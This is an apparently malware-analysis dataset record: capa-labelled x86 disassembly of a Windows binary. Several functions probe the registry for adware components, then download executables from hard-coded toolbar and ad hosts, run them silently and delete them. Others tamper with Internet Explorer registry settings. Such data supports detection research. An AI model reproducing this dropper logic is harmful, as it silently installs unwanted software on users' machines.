joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401029
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.004229a8
xor ebp, ebp
pop ecx
test eax, eax
je 0x401076
push str.Windows_original_main_args:_n
call fcn.00401104
pop ecx
mov esi, ebp
call fcn.0040e687
cmp dword [eax], ebp
jle 0x401076
call fcn.0040e68d
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00401104
add esp, 0xc
inc esi
call fcn.0040e687
cmp esi, dword [eax]
jl 0x401054
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040120f
call fcn.00401277
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call fcn.00401127
pop ecx
pop ecx
mov esi, eax
call fcn.0040127d
mov edx, ebp
test ebx, ebx
jle 0x4010b0
mov ecx, dword [eax + edx*8]
mov dword [esi + edx*4], ecx
inc edx
cmp edx, ebx
jl 0x4010a5
mov edi, dword [0x431004]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010bf
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010cb
mov edx, dword [esi]
mov ecx, dword [0x431990]
test ecx, ecx
push ebp
push ebp
push 1
setne al
movzx eax, al
push eax
push edi
push edx
push 0x42526c
push 0x425270
push dword [0x431994]
push 1
push ecx
push 1
push esi
push ebx
call fcn.00401d57
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4042f7
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.004229a8
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x40446a
jg 0x404326
test esi, esi
jb 0x40446a
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.00417558
add esp, 0xc
test eax, eax
js 0x40446a
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x404388
push edi
call fcn.00404879
pop ecx
test eax, eax
je 0x40437f
push ebx
push esi
push edi
push ebp
call fcn.004229a8
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x40446f
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.004229a8
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x40446a
jg 0x4043b1
cmp ebp, ebx
jb 0x40446a
mov ecx, 0x10015
cmp eax, ebx
jg 0x4043c6
jl 0x4043c0
cmp ebp, ecx
jae 0x4043c6
mov esi, ebp
mov ecx, eax
jmp 0x4043ca
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.004229a8
add esp, 0x10
cmp edx, ebx
jl 0x40446a
jg 0x4043f0
cmp eax, ebx
jb 0x40446a
push 0x10015
call fcn.004229a8
mov ebx, eax
pop ecx
test ebx, ebx
je 0x40446a
push esi
push ebx
push dword [esp + 0x24]
call fcn.00417558
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x404463
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x40445f
cmp byte [esi], 0x50
jne 0x40445e
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x40445e
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x404476
dec esi
cmp esi, ebx
jae 0x40441f
push ebx
call fcn.004229a8
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.0040a130
push ebx
call fcn.004229a8
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.00404879
add esp, 0x14
test eax, eax
je 0x4044b6
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.004229a8
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x40446f
Function at 0x40100f
Capabilities:
Create directory
Get common file path

Disassembly:
jmp 0x403310
sub esp, 0x30c
lea eax, [esp + 0x104]
push esi
push edi
push 0
push 6
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x10c]
lea edx, [esp + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 8]
push 0x40c9dc
push eax
call esi
mov ecx, dword [esp + 0x318]
lea edx, [esp + 8]
push ecx
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea eax, [esp + 8]
push 0
push eax
call edi
lea ecx, [esp + 8]
push 0x40c9dc
push ecx
call esi
mov edx, dword [esp + 0x31c]
lea eax, [esp + 8]
push edx
push eax
call esi
lea ecx, [esp + 8]
push 0
push ecx
call edi
mov edx, dword [esp + 0x324]
lea eax, [esp + 0x210]
push edx
push str.http:__www.slotch.com_ist_scripts_ist_shortcuts_jump.php
push str._s_fav_id_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x330]
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x224]
push edx
push eax
call fcn.004010f0
add esp, 0x1c
mov eax, 1
pop edi
pop esi
add esp, 0x30c
ret
Function at 0x401019
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x405320
sub esp, 0x104
push ebx
push esi
push edi
push 0
push str.SoftwareAvenue_MediaInternet_Optimizer
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x405350
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
mov edi, dword [esp + 0x114]
mov esi, 0x40ce58
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x405386
test cl, cl
je 0x405382
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x405386
add eax, 2
add esi, 2
test cl, cl
jne 0x40535e
xor eax, eax
jmp 0x40538b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4053d6
mov esi, 0x40ce54
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4053be
test cl, cl
je 0x4053ba
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4053be
add eax, 2
add esi, 2
test cl, cl
jne 0x405396
xor eax, eax
jmp 0x4053c3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4053d6
pop edi
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.optimize.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__cdn.climaxbucks.com_internet_optimizer_br_wsi24_optimize.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x40544f
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x14]
push str._notac
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x40547a
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov eax, 5
pop ebx
add esp, 0x104
ret
Function at 0x401023
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x404410
sub esp, 0x104
push ebx
push esi
push 0
push str.SoftwareLycosSideSearch
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x40443e
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
push 0
push str.SoftwareSideFind
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404464
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
mov eax, dword [esp + 0x110]
mov esi, 0x40ce58
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404498
test cl, cl
je 0x404494
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404498
add eax, 2
add esi, 2
test cl, cl
jne 0x404470
xor eax, eax
jmp 0x40449d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4044af
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lycos_ss.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_lycos_ss.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
jne 0x404529
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x404550
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop esi
mov eax, 5
pop ebx
add esp, 0x104
ret

Function at 0x401028
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x4028d0
sub esp, 0x40c
mov ecx, dword [esp + 0x414]
mov edx, dword [esp + 0x410]
lea eax, [esp + 4]
mov dword [esp + 8], 0x100
push eax
push ecx
push edx
mov dword [esp + 0xc], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402942
mov eax, dword [esp + 0x418]
test eax, eax
jne 0x402919
mov al, 1
add esp, 0x40c
ret
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
lea ecx, [esp + 4]
push edx
mov edx, dword [esp + 0xc]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
sete al
add esp, 0x40c
ret
xor al, al
add esp, 0x40c
ret
Function at 0x401046
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x4045d0
sub esp, 0x104
push ebx
push esi
push edi
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects432D8C41_8586_11D8_997D_00C026232EB9
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404600
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
mov edi, dword [esp + 0x114]
mov esi, 0x40ce58
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404636
test cl, cl
je 0x404632
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404636
add eax, 2
add esi, 2
test cl, cl
jne 0x40460e
xor eax, eax
jmp 0x40463b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404686
mov esi, 0x40ce54
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40466e
test cl, cl
je 0x40466a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40466e
add eax, 2
add esi, 2
test cl, cl
jne 0x404646
xor eax, eax
jmp 0x404673
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404686
pop edi
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.sr.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_sr.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x4046ff
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x404727
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov eax, 5
pop ebx
add esp, 0x104
ret
Function at 0x401064
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x4047b0
sub esp, 0x104
push ebx
push esi
push 0
push str.SoftwareStatBlaster
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x4047de
pop esi
mov eax, 3
pop ebx
add esp, 0x104
ret
mov eax, dword [esp + 0x110]
mov esi, 0x40ce58
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404812
test cl, cl
je 0x40480e
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404812
add eax, 2
add esi, 2
test cl, cl
jne 0x4047ea
xor eax, eax
jmp 0x404817
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404829
pop esi
mov eax, 6
pop ebx
add esp, 0x104
ret
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.sbinstall.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_statblaster.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
jne 0x4048a3
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x4048ca
pop esi
mov eax, 7
pop ebx
add esp, 0x104
ret
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop esi
mov eax, 5
pop ebx
add esp, 0x104
ret

Function at 0x401069
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x401300
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
lea ecx, [esi + 4]
push 0x64
push ecx
push eax
mov dword [esi + 0x194], eax
call fcn.00401014
add esp, 0x10
mov dword [esi + 0x19c], eax
mov eax, esi
pop esi
ret 4
Function at 0x401073
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x404f60
sub esp, 0x104
push 0
push str.Software_twaintec
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404f8a
mov eax, 3
add esp, 0x104
ret
push 0
push str.SoftwareDbi
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404fae
mov eax, 3
add esp, 0x104
ret
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects00320615_B6C2_40A6_8F99_F1C52D674FAD
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404fd2
mov eax, 3
add esp, 0x104
ret
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects000020DD_C72E_4113_AF77_DD56626C6C42
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404ff6
mov eax, 3
add esp, 0x104
ret
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects0000607D_D204_42C7_8E46_216055BF9918
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x40501a
mov eax, 3
add esp, 0x104
ret
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects002EB272_2590_4693_B166_FBD5D9B6FEA6
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x40503e
mov eax, 3
add esp, 0x104
ret
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects000006B1_19B5_414A_849F_2A3C64AE6939
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x405062
mov eax, 3
add esp, 0x104
ret
mov eax, dword [esp + 0x108]
lea ecx, [esp]
push eax
push 0x40dfec
push str._sbi_s.exe
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x10]
push edx
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_better_new.exe
call fcn.00401032
add esp, 0x18
test eax, eax
jne 0x4050a1
mov eax, 7
add esp, 0x104
ret
push 0
push 0
lea eax, [esp + 8]
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x4050c6
mov eax, 7
add esp, 0x104
ret
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, 5
add esp, 0x104
ret

Function at 0x401078
Capabilities:
Set registry value

Disassembly:
jmp 0x4061b0
sub esp, 0x28
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xe]
mov eax, dword [esp + 0xc]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0xe]
and eax, 0xffff
push edx
mov edx, dword [esp + 0xe]
push eax
mov eax, dword [esp + 0x10]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [esp + 0x2c]
push str._02i__02i__02i__02i:_02i:_02i
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x34]
push 0
push edx
push str.InstallDate
push str.SoftwareIST
push SysReAllocStringLen
call fcn.004010a0
mov eax, dword [esp + 0x60]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x38
lea ecx, [esp]
mov dword [esp], eax
push 4
push ecx
push 4
push str.account_id
push str.SoftwareIST
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
add esp, 0x28
ret
Function at 0x401096
Capabilities:
Create process on windows
Delete file

Disassembly:
jmp 0x404e00
sub esp, 0x104
push 0
push str.Software_twaintec
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404e2a
mov eax, 3
add esp, 0x104
ret
push 0
push str.SoftwareDbi
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x404e4e
mov eax, 3
add esp, 0x104
ret
push ebx
push esi
push edi
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.bdl14173.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_better.exe
call fcn.00401032
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x404eca
mov eax, 7
add esp, 0x104
ret
push 0
push 0
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x404eef
mov eax, 7
add esp, 0x104
ret
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, 5
add esp, 0x104
ret
Function at 0x4010a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x402750
sub esp, 0x210
mov al, byte [esp + 0x224]
push ebx
mov ebx, dword [esp + 0x21c]
push ebp
mov ebp, dword [esp + 0x21c]
push edi
test al, al
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0x104
je 0x402845
mov edi, dword [esp + 0x228]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x118]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
push edi
push ebx
push ebp
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x402845
or ecx, 0xffffffff
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._bak
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push ebp
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
pop esi
je 0x402845
lea edi, [esp + 0x118]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x118]
push ecx
push eax
lea ecx, [esp + 0x1c]
push 1
push ecx
push ebx
push ebp
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov edx, dword [esp + 0x22c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov edx, dword [esp + 0x230]
push 1
push edx
push ebx
push ebp
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
pop edi
pop ebp
pop ebx
add esp, 0x210
ret
Function at 0x4010b4
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x4037a0
sub esp, 0x20c
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
mov dword [esp + 0x20], 0x200
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4038b0
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0xc]
mov dword [esp + 8], eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.BandRest
push esi
call edi
test eax, eax
jne 0x403820
test esi, esi
je 0x403812
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 3
pop esi
add esp, 0x20c
ret
push 0
push str.Never
push str.BandRest
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call fcn.004010a0
push 0
push str.Never
push str.BandRest
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call fcn.004010a0
add esp, 0x28
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
lea eax, [esp + 8]
push ecx
push edx
push eax
push 0
push str.BandRest
push esi
mov dword [esp + 0x20], 0
call edi
test eax, eax
je 0x403897
test esi, esi
je 0x403889
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 2
pop esi
add esp, 0x20c
ret
test esi, esi
je 0x4038a2
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 5
pop esi
add esp, 0x20c
ret
pop edi
mov eax, 7
pop esi
add esp, 0x20c
ret